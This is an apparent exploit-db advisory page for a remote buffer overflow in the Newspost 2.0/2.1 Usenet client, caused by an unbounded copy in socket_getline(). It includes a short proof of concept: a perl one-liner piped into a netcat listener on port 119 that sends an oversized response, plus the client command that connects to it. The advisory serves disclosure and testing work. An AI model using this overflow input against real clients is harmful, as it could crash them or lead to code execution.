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Newspost 2.0/2.1 - Remote Buffer Overflow

🗓️ 01 Feb 2005 00:00:00Reported by Niels HeinenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

Newspost 2.0/2.1 has a remote buffer overflow risk from unbounded memory copy, risking arbitrary code execution.

Code
source: https://www.securityfocus.com/bid/12418/info

Newspost is prone to a remote buffer overflow vulnerability due to an unbounded memory copy operation.

The problem occurs in the 'socket_getline()' function of 'socket.c' when the vulnerable client handles NNTP server responses.

Successful exploitation of this issue could potentially lead to arbitrary code execution.

This issue was reported to affect Newspost 2.1.1 and prior, however, other versions may be vulnerable. 

Create a server:
perl -e 'print "A" x 1024;print "BBBBCCCCDDDDEEEE"'| nc -v -l -p 119

Connect to it:
newspost -s test -i localhost -f [email protected] -n news.news /etc/hosts

Data

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